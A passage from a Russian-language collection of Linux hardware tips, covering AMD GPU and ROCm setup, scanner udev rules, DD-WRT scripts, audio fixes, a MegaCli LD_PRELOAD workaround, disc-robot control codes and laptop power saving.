видим, что X-сервер обнаружил обе видеокарты, но активно использует только одну и именно дискретную видеокарту. Далее можем, например, установить ROCm 3 _без_ dkms драйвера в соответствие с родной инструкцией: # dnf install rocm-dev rocm-libs Следующие программы дополнительно покажут корректность описанной выше пошаговой настройки. rocm-smi нормально отображает всю статистику по dGPU и управляет ею. rocminfo отрабатывает без ошибок и отображает 2 вычислительных агента CPU и gfx803. clinfo отрабатывает без ошибок и отображает 1 платформу AMD-APP и 1 устройство gfx803 (не считая Mesa Clover и Pocl). hashcat видит устройство и работает нормально. (Самосборный пакет из оригинальных исходников, т.к. из репозитория Fedora 31 сборка имеет урезанную функциональность и проблемы с запуском.) Компилятор AOMP в составе ROCm 3.1 проходит успешно 67 тестов из 69 из приложенного набора тестов smoke. vainfo , vdpauinfo отрабатывают нормально. Итоги В результате настройки получаем устойчивый GUI-десктоп с корректно работающим dGPU и с условно корректно отключенным, "не используемым" iGPU. Дополнительно PS: Пока удалось нарушить работу dGPU, только используя в Avidemux HW-кодер "Intel AVC HW (VA)". В то же время HW-кодер "Intel HEVC" в Avidemux работает довольно быстро. А "Intel H264" не работает совсем, и, судя по всему, встройка тут не при чём. Запуск командой: $ ( DRI_PRIME=1 avidemux3_qt5 ) позволяет использовать встроенные HW-кодеры "не используемого" iGPU, работают они примерно так же. PPS: В принципе, в ядро 5.6 были добавлены полезные патчи для Raven iGPU, и, с применением воркэраунда для Mesa 19.2.8 # cat /etc/environment AMD_DEBUG=nongg,nodma,nodcc RADV_DEBUG=nongg DRI_PRIME=0 стало возможным использовать Raven iGPU как первичную видеокарту в EFI, а dGPU использовать вторичной видеокартой. Соответственно, просто меняем местами BusID карт в xorg.conf , и включаем вторичную dGPU в MATE: меню System -> Control Center -> Displays -> второй дисплей , ON , Applay , Close (настройка сохраняется в ${HOME}/.config/dconf/). В этом случае производительность dGPU в графике снижается. Зато появляется возможность работать с tensorflow-rocm при 100% нагрузке dGPU без замираний первичного экрана, и наблюдать происходящее в процессе. И, однако, попутно выясняется, что ядро 5.6.8 (со своим таким же патчем с той же веб-странички) _не_ загружается с primary dGPU в EFI. Возможно, что для сочетаний конкретных APU и MainBoard это вылечится обновлением Grub2 до актуальной версии. Вероятно, старая версия Grub2 неправильно транслирует какие-то параметры ядру из EFI. Этот момент и более поздние версии ядер 5.6.n и 5.7.n , пардон, проверить не успел, т.к. заапгрейдил APU на обычный CPU Ryzen без iGPU. Перспективы Общие соображения, которые с одной стороны можно было бы и не добавлять в статью, а с другой, почему бы и не добавить. Судя по всему, RDNA 1 и 2 как архитектуры GPU есть шаги по направлению к когерентной архитектуре Gen-Z. Это означает, что:
  • основной свичованой шиной станет CCIX как приоритезированный PCIe Gen4 (и выше)
  • RAM будет выделена в отдельные модули на CCIX-шине
  • контроллер памяти будет в диспетчере и каждом модуле RAM
  • кэши CPU, GPU, RAM, плат расширения будут когерентны
  • IOMMUv2 (или выше) будет обязателено by design
  • GPU станут более самостоятельными относительно CPU (как вычислительные устройства)
  • iGPU / APU не вполне вписываются в эту концепцию Выводы, конечно же, каждый сделает сам.
  •  
    ----* Установка прав на использование USB сканера в Ubuntu 8.10   Автор: kmax  [комментарии]
     
    В правилах udev не было моего сканера, и поэтому сканер работал только через sudo
    
       $ sudo scanimage -L
       device 'gt68xx:libusb:003:003' is a Mustek ScanExpress 1248 UB flatbed scanner
    
       $ scanimage -L                                              
    
       No scanners were identified. If you were expecting something different,
       check that the scanner is plugged in, turned on and detected by the    
       sane-find-scanner tool (if appropriate). Please read the documentation 
       which came with this software (README, FAQ, manpages).                 
    
    
    Решение.
    
    смотрим:
    
       $ sudo sane-find-scanner
    
    видим:
    
       found USB scanner (vendor=0x055f, product=0x021f [USB Scanner], chip=GT-6816) at libusb:003:002
    
    Если  в правилах udev для сканеров нет vendor=0x055f, product=0x021f, то файлу
    устройства не присвоят правильную группу
    
       $ sudo vi /etc/udev/rules.d/50-libsane-extras.rules
       (у вас может быть другой файл, найти его не составит труда)
    
    И по аналогии добавляем наш сканер
    добавляем в группу scanner всех нужных пользователей
    
       $ sudo vi /etc/group
       $ sudo /etc/init.d/udev restart
       $ scanimage -L
       device 'gt68xx:libusb:003:002' is a Mustek ScanExpress 1248 UB flatbed scanner
    
    xsane тоже заработал
    
    Те же действия могут помочь в аналогичных ситуациях с другими редкими устройствами
    
     
    ----* JFFS и мониторинг активности wifi на роутере Linksys WRT54GL (доп. ссылка 1)   Автор: Sergey Volhin  [обсудить]
     
    Расскажу о двух возможностях, которые можно реализовать на роутере
     с прошивкой DD-WRT на примере роутера Linksys WRT54GL.
    
    1) Файловая система JFFS.
    
    На роутере можно без труда организовать небольшое энергонезависимое хранилище файлов.
    Для этого в веб-интерфейсе включаем поддержку jffs (по туториолу из официального вики dd-wrt):
    
    1. Откройте вкладку "Administration".
    2. Перейдите к секции "JFFS2 Support".
    3. Кликаем "Enable JFFS".
    4. Затем жмём "Save".
    5. Ждём несколько секунд и жмём "Apply".
    6. Опять ждём. Идём обратно к опции "Enable JFFS", кликаем "Clean JFFS".
    7. Не кликая "Save", жмём вместо этого "Apply".
    
    Теперь если мы приконнектимся к роутеру по ssh команда "df -h" расскажет нам о
    наличие новой файловой системы,
    смонтированной в каталоге /jffs/, и её размере (размер очень сильно зависит от
    типа вашей прошивки,
    для получения хоть сколько-нибудь полезного свободного пространства для jffs
    рекомендуется установить mini-версию dd-wrt).
    
    
    
    2) Индикация активности wifi по лампе на корпусе роутера.
    
    Теперь используем возможности jffs - разместим на ней скрипт (с того же вики
    dd-wrt), который заставляет
    гореть лампу янтарным светом при подключенных wifi-клиентах и мигать белым при
    трансфере данных через WLAN.
    
    Для установки скрипта:
    
    1. Коннектимся по ssh.
    2. Переходим в каталог /jffs/ и создаем директорию bin:
    
       # cd /jffs/
       # mkdir ./bin
    
    3. Как видно /jffs/bin уже прописан в переменной поиска команд PATH:
    
       # echo $PATH
       /bin:/usr/bin:/sbin:/usr/sbin:/jffs/sbin:/jffs/bin:/jffs/usr/sbin:/jffs/usr/bin
    
    4. Создаем файл скрипта (# vi ./wlan.sh) со следующим содержанием:
    
    
        #!/bin/sh
        I=`nvram get wl0_ifname`
        while sleep 1; do
        if [ "`wl assoclist`" != "" ]; then
         XFER=`ifconfig $I|grep bytes`
         if [ "$XFER" != "$PXFER" ]; then
           LED='gpio disable 3 ; gpio disable 2'
           PXFER=$XFER
         else
           LED='gpio disable 3 ; gpio enable 2'
         fi
        else
         LED='gpio enable 3 ; gpio enable 2'
        fi
        if [ "$LED" != "$PLED" ]; then
         eval $LED
         PLED=$LED
        fi
        done
       
    
    5. Делаем скрипт исполняемым:
    
       # chmod +x ./wlan.sh
    
    
    Готово!
    Скрипт теперь можно запускать командой wlan.sh или прописать в автозагрузку.
    
    
    
    Оригинал в блоге по ссылке: http://damnsmallblog.blogspot.com/2008/03/jffs-wifi-linksys-wrt54gl.html
    
     
    ----* Как избавиться от щелчков при запуске приложений на системах с чипами Intel (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    При щелчках в колонках в процессе работы следует выключить режим
    энергосбережения у звукового драйвера:
    
       sudo tee /etc/modprobe.d/snd-hda-intel.conf <<< "options snd_hda_intel power_save=0" 
    
     
    ----* Решение проблемы с исчезновением устройств вывода звука в Ubuntu 20.04 (доп. ссылка 1) (доп. ссылка 2)   Автор: Аноним  [комментарии]
     
    Пропал звук. Pulseaudio показывает в качестве выходного устройства Dummy Output.
    
    Звуковая карта snd-hda-intel. Манипуляции 
    
       echo "options snd-hda-intel model=generic" | sudo tee -a /etc/modprobe.d/alsa-base.conf
       echo "options snd-hda-intel dmic_detect=0" | sudo tee -a /etc/modprobe.d/alsa-base.conf
       echo "blacklist snd_soc_skl" | sudo tee -a /etc/modprobe.d/blacklist.conf
    
    с перезагрузкой не дали ничего. Потом стал вспоминать, что делал до того, как
    исчез звук. Подключал Bluetooth колонки.
    
    Залез в настройки Bluetooth, потёр всё. Звук появился. Какой-то глюк в bluez5.
    
    В другой ситуации звук исчез (также остался только "dummy output") после
    обновления с Ubuntu 18.04 до 20.04. Помогло удаление пакета timidity:
    
        sudo apt purge timidity-daemon
    
     
    ----* Решение проблемы с зависанием графической подсистемы на компьютерах с APU AMD (доп. ссылка 1)   [комментарии]
     
    При использовании ядер Linux 5.2+ на компьютерах с APU AMD (например, Ryzen 5)
    отмечаются зависания графической подсистемы, устраняемые только перезагрузкой.
    При зависании в логе отображаются записи вида "drm:amdgpu... Waiting for fences
    timed out or interrupted!".
    
    Кроме отката системы на старые выпуски ядра Linux, в качестве обходного
    варианта блокирования проблемы помогает загрузка ядра с параметром "amdgpu.noretry=0".
    
     
    ----* Отключение wakeup для PCIe устройств   Автор: Аноним  [комментарии]
     
    Краткий экскурс в историю или как это было раньше.
    
    В файле /proc/acpi/wakeup перечислены устройства и возможность пробуждать
    компьютер из S3 с их стороны. Структура файла wakeup достаточна проста:
    
       <acpi device name> <S-state> <Status> <Sysfs node>
    
    Небольшой пример
    
       cat /proc/acpi/wakeup | grep enabled
       EHC1      S4    *enabled   pci:0000:00:1d.0
       XHC       S4    *enabled   pci:0000:00:14.0
       LID0      S3    *enabled   platform:PNP0C0D:00
    
    Для отключения замечательной функции "Пробуждение по клику мышки" ранее требовалось просто сделать 
    
       echo EHC1 > /proc/acpi/wakeup 
    
    
    Современность
    
    А в современном мире устройств стало много, а имена им в dsdt таблице стали давать одинаковые.
    Небольшой пример:
    
       PXSX      S4    *enabled   pci:0000:08:00.0
       PXSX      S4    *enabled   pci:0000:09:00.0
       XHC       S4    *disabled  pci:0000:00:14.0
    
    Все эти устройства - usb-контроллеры. В результате дублирования имён echo PXSX больше не работает.
    
    
    Лечение
    
    Вместо отключения через /proc/acpi/wakeup необходимо отключить возможность пробуждения через /sys
    
      echo disabled > /sys/bus/pci/devices/0000\\:08\\:00.0/power/wakeup
      echo disabled > /sys/bus/pci/devices/0000\\:09\\:00.0/power/wakeup
    
    В результате в /proc/acpi/wakeup  статус изменится
    
       PXSX      S4    *disabled  pci:0000:08:00.0
       PXSX      S4    *disabled  pci:0000:09:00.0
       XHC       S4    *disabled  pci:0000:00:14.0
     
    
     
    ----* Способ обхода краха Firefox и OpenGL приложений из-за ошибки в видеодрайвере Intel (доп. ссылка 1)   [комментарии]
     
    В Ubuntu 14.04 и более новых выпусках при использовании KMS-драйвера i915 на
    системах со старыми видеочипами Intel 965GM,  обычно используемыми в связке с
    CPU Intel Core 2 Duo, периодически начинают падать OpenGL-приложения.
    
    После загрузки некоторое время всё нормально, но после выхода из сна или
    перехода в полноэкранный режим попытка обращения к OpenGL приводит к выводу
    такой ошибки:
    
       $ glxgears 
    
       intel_do_flush_locked failed: Input/output error
    
    
    Неприятность ситуации в том, что в таких условиях непредсказуемым образом
    начинает падать и Firefox, если на сайте используется WebGL или модные
    графические трансформации.
    
    Обходным способом решения проблемы является запуск OpenGL-программ с
    программной реализацией OpenGL (включается установкой переменной окружения
    LIBGL_ALWAYS_SOFTWARE=1), например, вместо прямого вызова в ярлык для запуска
    Firefox можно прописать:
    
       sh -c "LIBGL_ALWAYS_SOFTWARE=1 /usr/local/firefox/firefox"
    
    Проблема решается установкой Mesa из репозитория xorg-edgers:
    
       sudo apt-add-repository ppa:xorg-edgers/ppa
       sudo apt-get update
       sudo apt-get dist-upgrade 
    
     
    ----* Подключение через USB дополнительной кнопки для автоматизации запуска работ на сервере (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    Вводная часть: Дома есть "домашний" сервер. Этакая коробочка Lenovo
    q190 размером чуть более чем DVD box. Ещё есть МФУ samsung SCX-4220. Работает
    это все на ubuntu 14.04 LTS, прекрасно печатает через CUPS, прекрасно
    сканирует, но вот с автоматизацией не очень.
    
    Проблема: Дело в том, что на самсунге нет отдельной кнопки сканировать на
    компьютер, которую бы можно было перехватить и скриптом запустить скан.
    
    Внезапное решение: Недавно покупая очередную новую батарейку к своему ноутбуку
    заметил на витрине магазина вот такую штуку - "USB 7.1 channel sound"
    
    
    
    Такие звуковушки лежат почти в каждом магазине по 200 рублей. О думаю, а что
    если китайцы + кнопки и это клавиатура? Дай-те ко мне одну?
    
    Реализация: Купил, подключил к headless q190 и стал смотреть вывод
    
       $ lsusb
    
       Bus 001 Device 005: ID 0d8c:013c C-Media Electronics, Inc. CM108 Audio Controller
    
    Печально, думаю, но решил посмотреть, что ещё и в dmesg нашлось?
    
       hid-generic 0003:0D8C:013C.0002: input,hidraw0: USB HID v1.00  Device [C-Media Electronics Inc. USB PnP Sound Device] on usb-0000:00:1a.0-1.4/input3
    
    О, то что нужно. Отлично!
    
    Кнопки звуковой карты - это по сути маленькая USB клавиатура. То что мне нужно.
    
    Для обработки нажатий воспользуемся THD (Triggerhappy
    - lightweight hotkey daemon) http://github.com/wertarbyte/triggerhappy
    
    В Ubuntu 14.04 он есть "искаропки".
    
       $ apt-get install thd
    
    Настройка:
    
       $ cat /etc/triggerhappy/triggers.d/brj.conf
       KEY_VOLUMEDOWN 1 /home/brj/bin/scanme.sh
       KEY_VOLUMEUP 1 /home/brj/grab-torrent.sh
    
    По клавише vol down - запускается сканирование
    По клавише vol up - торрент забирает свежие файлы и начинает скачку.
    
    Скрипт запускающий сканирование:
    
       #!/bin/sh
       outscan="scan-`date +"%Y-%m-%d-%H%M%S"`"
       scanimage --progress --mode Color --format=tiff --resolution 300 > /tmp/image.tiff
       convert /tmp/image.tiff /home/brj/Dropbox/${outscan}.jpg
       rm /tmp/image.tiff
    
    Практическая работа: первое время дополнительно повесил звуки из super mario и
    mpg123, что бы знать - работает или нет. Система работает исправно,
    поэтому убрал.
    
    Где ещё использовать? Такая штука ограничена только воображением и количеством
    кнопок. Можно интернет переключать на резервный канал, сканировать, перегружать
    сервера/сервисы, делать архивацию на внешний винт, вообщем на что хватит
    фантазии то и автоматизировать.
    
    Успехов
    
     
    ----* Как задействовать UVD для ускорения декодирования видео в Ubuntu Linux (доп. ссылка 1)   [комментарии]
     
    Для ускорения воспроизведения видео в приложениях поддерживающих API VDPAU с
    использованием аппаратного декодера UVD, присутствующего в GPU AMD, следует
    использовать свежую версию DRM-модуля radeon. Версия с поддержкой UVD войдёт в
    состав ядра Linux 3.10, поэтому для использования UVD до выхода данной ветки
    следует использовать экспериментальное ядро из репозитория drm-next.
    
    
    Устанавливаем заголовочные файлы для VDPAU:
    
       sudo apt-get install libvdpau-dev.
    
    Пересобираем Mesa из Git-репозитория http://cgit.freedesktop.org/mesa/mesa/ При
    выполнении configure следует указать опции "--with-gallium-drivers=r600 --enable-vdpau".
    
    Добавляем в файл /etc/ld.so.conf.d/z.conf строку /usr/local/lib/vdpau и запускаем команду ldconfig.
    
    Ставим пакеты с ядром drm-next (до того как выйдет ядро 3.10), доступные по
    ссылке http://kernel.ubuntu.com/~kernel-ppa/mainline/drm-next/
    
    Устанавливаем прошивку  UVD для используемой карты AMD. Загрузить файл с
    прошивкой можно на данной странице, после чего следует поместить её в
    директорию /lib/firmware.
    
    Перезагружаем систему.
    
    Запускаем любой проигрыватель с поддержкой  VDPAU.
    
     
    ----* Как подружить Linux-ядро 3.x и утилиту LSI MegaCli  (доп. ссылка 1)   Автор: Andrew Okhmat  [комментарии]
     
    С переходом на ядро Linux 3.x.x владельцы LSI RAID могут столкнуться с
    неприятным явлением - утилита MegaCli или MegaCli64 перестаёт обнаруживать
    RAID-контроллер. Ядро правильно определяет и корректно работает, а утилита
    упорно показывает, что никакого RAID-контроллера нет. Не помогает исправить
    проблему и обновление MegaCli до последней версии - 8.02.16.
    
    Если мониторинг состояния RAID построен на этой утилите, то ситуация становится
    совсем неприятной, так как. можно пропустить вышедший из строя жесткий диск или
    пришедшую в негодность батарейку кэша.
    
    Попробуем разобраться в ситуации и найти временное решение, до выхода новой версии MegaCli.
    
    Посмотрим версию ядра, наличие LSI MegaRAID и вывод утилиты MegaCli:
    
       [root@farm2:1 ~]# uname -a
       Linux farm2.localdomain 3.2.5-3.fc16.x86_64 #1 SMP Thu Feb 9 01:24:38 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
       
       [root@farm2:1 ~]# lspci | grep -i raid
       10:00.0 RAID bus controller: LSI Logic / Symbios Logic MegaRAID SAS 2108 [Liberator] (rev 05)
       
       [root@farm2:1 ~]# /opt/MegaRAID/MegaCli/MegaCli64 -adpCount
       
       Controller Count: 0.
       
       [root@farm2:1 ~]# /opt/MegaRAID/MegaCli/MegaCli64 -v
       
       MegaCLI SAS RAID Management Tool Ver 8.02.16 July 01, 2011
    
       (c)Copyright 2011, LSI Corporation, All Rights Reserved.
    
    Мы видим, что работаем под управлением linux-ядра 3.2.5, есть установленный LSI
    MegaRAID и  утилита MegaCli64 его не видит. До обновления использовалось ядро
    2.6.39, и утилита MegaCli64 обнаруживала контроллер.
    
    Для понимания разницы в поведении MegaCli на ядрах версий 2.6 и 3.х я
    использовал gdb и strace. Оказалось, что если загружено любое ядро с номером
    версии 2.6.x - используется актуальный набор системных вызовов, иначе
    используются устаревшие системные вызовы ядра 2.4.x и, соответственно,
    контроллер не находится. Первая мысль, которая приходит в голову: подменить
    системный вызов uname для утилиты MegaCli.  Воспользуемся помощью LD_PRELOAD
    и несколькими строчками кода на C:
    
       #define _GNU_SOURCE
       #include <unistd.h>
       #include <sys/utsname.h>
       #include <sys/syscall.h>
       #include <sys/types.h>
       #include <string.h>
       
       int uname(struct utsname *buf)
       {
          int ret = syscall(SYS_uname, buf);
          strcpy(buf->release, "2.6.40");
          return ret;
       }
    
    Компилируем:
    
       mkdir fakeuname
       cd fakeuname
       wget http://supportex.net/files/fakeuname/fakeuname.c
       gcc -Wall -fPIC -c fakeuname.c
       gcc -Wall -shared -o libfakeuname.so fakeuname.o
    
    Проверим, как будет работать утилита. При запуске будет сообщаться "фейковый"
    номер версии ядра - 2.6.40, вместо 3.2.5:
    
       [root@farm2:1 ~]# /opt/MegaRAID/MegaCli/MegaCli64 -adpCount
       
       Controller Count: 1.
       
       [root@farm2:1 fakeuname]# LD_PRELOAD=./libfakeuname.so /opt/MegaRAID/MegaCli/MegaCli64 -AdpAllInfo -aALL
       
       Adapter #0
    
       ================================
       Versions
       ================
       Product Name :
       Serial No : SV12345678
       FW Package Build: 12.12.0-0065
       ...
    
    Небольшая победа - контроллер определился!
    Теперь можно с ним работать, как и раньше. А libfakeuname.so скопировать в
    более удобное место (например /usr/local/lib64) и использовать в своих скриптах
    совместно с LD_PRELOAD=/usr/local/lib64/libfakeuname.so.
    
    Ссылки:
        LSI MegaCLI Emergency Cheat Sheet
        LSI Documents and Downloads
        Debugging code with strace
        Debugging with gdb
        Creating and using shared libraries in Linux
        Modifying a Dynamic Library Without Changing the Source Code
    
     
    ----* Работа в Linux с автоматом записи и печати на DVD/CD дисках Primera Bravo XRP   Автор: barmaley  [комментарии]
     
    Аппарат Primera Bravo XRP позволяет автоматизировать запись данных и печать
    маркировки на CD-диски, максимальная емкость 50 + 50 дисков.
    
    Подключается это устройство через USB.
    
    В системе появляются три устройства (через внутренний usn hub), два cdrw и lp:
    
       usb 2-2: new high-speed USB device number 62 using ehci_hcd
       usb 2-2: New USB device found, idVendor=04b4, idProduct=6560
       usb 2-2: New USB device strings: Mfr=0, Product=0, SerialNumber=0
       hub 2-2:1.0: USB hub found
       hub 2-2:1.0: 4 ports detected
       usb 2-2.1: new full-speed USB device number 63 using ehci_hcd
       usb 2-2.1: New USB device found, idVendor=0f25, idProduct=0012
       usb 2-2.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
       usb 2-2.1: Product: CD/DVD
       usb 2-2.1: Manufacturer: Primera
       usb 2-2.1: SerialNumber: 1000001
       usblp0: USB Bidirectional printer dev 63 if 0 alt 0 proto 2 vid 0x0F25 pid 0x0012
       usb 2-2.3: new high-speed USB device number 64 using ehci_hcd
       usb 2-2.3: New USB device found, idVendor=0dbf, idProduct=0700
       usb 2-2.3: New USB device strings: Mfr=2, Product=3, SerialNumber=1
       usb 2-2.3: Product: USB to SATA Bridge
       usb 2-2.3: Manufacturer: TSI
       usb 2-2.3: SerialNumber: TSI08102925ad
       scsi10 : usb-storage 2-2.3:1.0
       usb 2-2.4: new high-speed USB device number 65 using ehci_hcd
       usb 2-2.4: New USB device found, idVendor=0dbf, idProduct=0700
       usb 2-2.4: New USB device strings: Mfr=2, Product=3, SerialNumber=1
       usb 2-2.4: Product: USB to SATA Bridge
       usb 2-2.4: Manufacturer: TSI
       usb 2-2.4: SerialNumber: TSI081029002d
       scsi11 : usb-storage 2-2.4:1.0
       scsi 10:0:0:0: CD-ROM            PIONEER  DVD-RW  DVR-215D 9.13 PQ: 0 ANSI: 0
       sr0: scsi3-mmc drive: 40x/40x writer cd/rw xa/form2 cdda tray
       sr 10:0:0:0: Attached scsi CD-ROM sr0
       sr 10:0:0:0: Attached scsi generic sg1 type 5
       scsi 11:0:0:0: CD-ROM            PIONEER  DVD-RW  DVR-215D 9.13 PQ: 0 ANSI: 0
       sr1: scsi3-mmc drive: 40x/40x writer cd/rw xa/form2 cdda tray
       sr 11:0:0:0: Attached scsi CD-ROM sr1
       sr 11:0:0:0: Attached scsi generic sg2 type 5
    
    
    На сайте производителя есть драйверы для Linux, но они работают только с
    принтером (печать этикеток для CD).
    Модель встроенного принтера, очень похоже, Lexmark Z80.
    Работа с роботом-автоматом производится путем посылки бинарного пакета в порт
    принтера (/dev/usb/lp0)
    Пакет состоит из 8 байт:
    
       заголовок [0x1B, 0x04], команда [byte], резерв [0x00, 0x00, 0x00, 0x00], сумма 7 байт [byte]
    
    Так же, на сайте производителя, указано что, если вы хотите получить все
    hex-коды, необходимо подписать Non-disclosure Agreement (NDA).
    Но можно и не подписывать, основные необходимые дествия уже расписаны
    пользователем davidef для модели Primera Bravo II.
    
    Состояние устройства можно получить через чтение порта принтера.
    Вы получите две строки (последняя постоянно повторяется циклически с изменениями):
    
       binary data 1, 0x0D
       binary data 2, 0x0D
    
    Я же подведу итог:
    
    Манипуляции с cdrw производятся как обычно через eject и cdrecord ;)
    
    Описание команд робота, на которые я получил хоть какую то реакцию:
    
       05 - сброс устройства, пауза ~30 сек
       80 - взять с левого лотка, положить на верхний CD
       81 - взять с левого лотка, положить на принтер
       82 - взять с левого лотка, положить на правый лоток
       83 - взять с правого лотка, положить на верхний CD
       84 - взять с правого лотка, положить на принтер
       85 - взять с правого лотка, положить на левый лоток
       86 - взять с верхнего CD положить на принтер
       87 - взять с верхнего CD положить направо
       88 - взять с верхнего CD положить налево
       89 - взять с верхнего CD положить вниз (нижний CD либо наружу) !!    не забудьте закрыть верхний CD !!
       8A - взять с принтера положить направо
       8B - взять с принтера положить налево
       8С - взять с принтера положить на нижний CD (либо выбросит наружу)
       8D - ?
       8E - каретка в центр (пауза ~10 сек, возврат)
       8F - каретка в центр (пауза ~10 сек, возврат)
       90 - каретка влево (пауза ~10 сек, возврат)
       91 - каретка в центр (пауза ~10 сек, возврат)
       92 - взять диск (с последней позиции)/положить диск
       93 - открыть принтер
       94 - закрыть принтер
       95 - каретка налево, картриджы направо, индикаторы перемигиваются, ждет какой то команды, если неверная команда происходит reset (пауза ~30 сек)
       96 - каретка налево, картриджы направо, индикаторы постоянны
       97 - возврат из 96 в исходное
       98 - взять с принтера положить на верхний CD (либо выбросит наружу)
       99 - проверяет диски в обеих лотках (слева и справа)
       9A - взять слева ?
       9B - опускает каретку с диском на 1 см, таймаут 10сек, поднимает в  исходное
       9С - каретка направо, картрижды налево, каретка вниз до упора и устройство выключается
       9D - взять слева, положить на нижний CD
       9E - взять справа, положить на нижний CD
       9F - взять с нижнего CD положить на принтер
       A0 - взять с нижнего CD положить направо
       A1 - взять с нижнего CD положить налево
       A2 - взять с нижнего CD, каретка вверх, положить на нижний CD (либо выбросит наружу)
       A3 - каретка в центр (пауза ~10 сек, возврат)
       A4 - взять слева, положить на верхний CD, взять еще один диск слева
       A5 - взять справа, положить на верхний CD, взять еще один диск    слева
       A6 - взять слева, положить на нижний CD, взять еще один диск слева
       A7 - взять справа, положить на нижний CD, взять еще один диск слева
       A8 - взять с принтера положить на нижний CD (либо выбросит наружу), аналогично 8C
       A9 - каретка в центр (пауза ~10 сек, возврат)
    
    Этого вполне достаточно для автоматизации процесса, любым скриптовым языком.
    
    Состояние устройства:
    
       binary data 1:
    
    65 байт - состояние устройства, 0x43 (открыта крышка), 0x42 (робот в процессе
    манипуляций), 0x49 (в готовности, обычное состояние)
    
       binary data 2:
    
    62 байт - количество дисков в правом лотке, после команды 99
    63 байт - количество дисков в левом лотке, после команды 99
    
     
    ----* Советы по увеличению автономной работы ноутбука с Debian/Ubuntu (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    1. Включение ALPM позволит сэкономить 1-2 Вт энергии, но может привести к
    повреждению данных для некоторых устройств.
    
       echo SATA_ALPM_ENABLE=true | sudo tee /etc/pm/config.d/sata_alpm
    
    2. Изменение фона рабочего стола на более светлый цвет для ноутбука с
    LCD-экраном увеличит продолжительность работы примерно на 1%.
    
    3. Включение режима энергосбережения RC6 для видеокарт Intel i915 через
    передачу параметра ядра i915.i915_enable_rc6=1 позволит сэкономить 25-40%
    энергии для устройств на базе архитектуры Sandybridge, но в редких случаях
    может привести к зависанию на определённых ноутбуках.
    
    4. Включение режима сжатия фреймбуфера (Frame Buffer Compression) для драйвера
    i915 через передачу параметра ядру i915.i915_enable_fbc=1 позволит сэкономить
    до 0.6 Вт.
    
    5. Установка задержки гашения обратного хода луча вертикальной развёртки (DRM
    vblank off) через параметр ядра drm.vblankoffdelay=1 сократит число вызывающих
    пробуждение процессора событий (wakeup events) и возможно сэкономит немного энергии.
    
    6. Отключение всех беспроводных подсистем, если они не используются. В
    частности отключение bluetooth  ("blacklist bluetooth" в
    /etc/modprobe.d/blacklist.conf) приведёт к экономии 1-2 Вт.
    
    7. Отключение web-камеры ("blacklist uvcvideo" в
    /etc/modprobe.d/blacklist.conf) поможет сэкономить 1-2 Вт.
    
    8. Использование утилиты PowerTop для перевода следующих устройств в состояние
    экономного потребления энергии:
    
       * Webcam
       * Audio
       * DRAM
       * Ethernet
       * Wifi
       * Bluetooth
       * SATA
       * MMC/SD
    
    9. Использование ядра Linux в котором решена проблема с активацией ASPM
    (Active State Power Management) для карт PCI Express. Ядро тестовой ветки
    Ubuntu 12.04 уже содержит нужный патч. Для других систем рекомендуется в
    качестве обходного пути передать ядру параметр
    "pcie_aspm=powersave", который по умолчанию активирует режим максимальной
    экономии энергии (иначе, будет использован режим максимальной
    производительности). Для некоторых моделей ноутбуков данное действие может
    привести к снижению энергопотребления на 10-30%.
    
    10. Приглушение яркости экрана до 2/3 от максимального значения сэкономит 1 Вт.
    
    11. Отключение мерцающего курсора в gnome-terminal позволит избавиться от
    лишних пробуждений процессора:
    
       gconftool-2 --type string --set /apps/gnome-terminal/profiles/Default/cursor_blink_mode off
    
    12. Выявление проблем с излишне частым пробуждением процессора и излишней
    нагрузкой на CPU для часто используемых приложений при помощи пакета
    powertop или утилит eventstat и cpustat из PPA репозитория colin-king/powermanagement.
    
    Например для выявления наиболее активных событий за 10 секунд:
    
       sudo eventstat 10 1
    
      Evnt/s PID   Task            Init Function             Callback
       96.10 12659 npviewer.bin    hrtimer_start_range_ns    hrtimer_wakeup
       58.10     0 [kern sched]    Load balancing tick       tick_sched_timer
       49.80  2026 alsa-source     hrtimer_start_range_ns    hrtimer_wakeup
       49.30  2024 alsa-sink       hrtimer_start_range_ns    hrtimer_wakeup
       47.20     0 kworker/0:0     hrtimer_start_range_ns    tick_sched_timer
    
    Для мониторинга в течение 60 секунд и вывода процессов, генерирующих более 5 событий в секунду:
    
       sudo eventstat -t 5 60 1
    
      Evnt/s PID   Task            Init Function             Callback
       54.00  2003 compiz          hrtimer_start_range_ns    hrtimer_wakeup
       49.35  2024 alsa-sink       hrtimer_start_range_ns    hrtimer_wakeup
       18.92     0 [kern sched]    Load balancing tick       tick_sched_timer
       17.57     0 kworker/0:0     hrtimer_start_range_ns    tick_sched_timer
       16.13     0 [kern core]     usb_hcd_poll_rh_status    rh_timer_func
        9.98  2386 gwibber-service hrtimer_start_range_ns    hrtimer_wakeup
        9.88 10063 desktopcouch-se hrtimer_start_range_ns    hrtimer_wakeup
        9.87  2382 ubuntuone-syncd hrtimer_start_range_ns    hrtimer_wakeup
        9.83 10109 desktopcouch-se hrtimer_start_range_ns    hrtimer_wakeup
        5.23     0 [kern core]     hrtimer_start             tick_sched_timer
       12046 Total events, 200.77 events/sec
    
     
    ----* Как решить проблему с отсутствием звука при использовании TV-тюнера в Ubuntu (доп. ссылка 1)   [комментарии]
     
    При работе с некоторыми TV-тюнерами, например с  wintv hvr 950Q, в Ubuntu
    наблюдаются проблемы со звуком. Каналы ловятся, но звука нет ни в одном
    приложении. Решить проблему можно, организовав параллельное проигрывание звука
    в фоне с ассоциированной с TV-тюнером звуковой карты.
    
    
    Запускаем tvtime или другое приложение для работы с тюнером:
    
       tvtime
    
    Запускаем проигрывание звука. Если используется система alsa, поможет команда
    
       arecord -D hw:1,0 -f S16_LE -c2 -r32000 | aplay -q -
    
    Либо загружаем в PulseAudio модуль loopback:
    
       pactl load-module module-loopback
    
    В этом случае, возможно, так же нужно будет выбрать конкретный порт источника с
    помощью pactl set-source-port.
    
    В первом случае для прекращения перенаправления достаточно убить программу.
    Во-втором - нужно будет выполнить pactl unload-module с номером загруженного
    модуля (номер получите при загрузке).
    
    Всё это можно запустить одной командой, на основе которой можно создать ярлык для запуска tvtime:
    
       tvtime | arecord -D hw:1,0 -r 32000 -c 2 -f S16_LE | aplay -q -
    
    А вот пример скрипта для запуска с помощью pulseaudio:
    
       tvtime &
       sleep 5
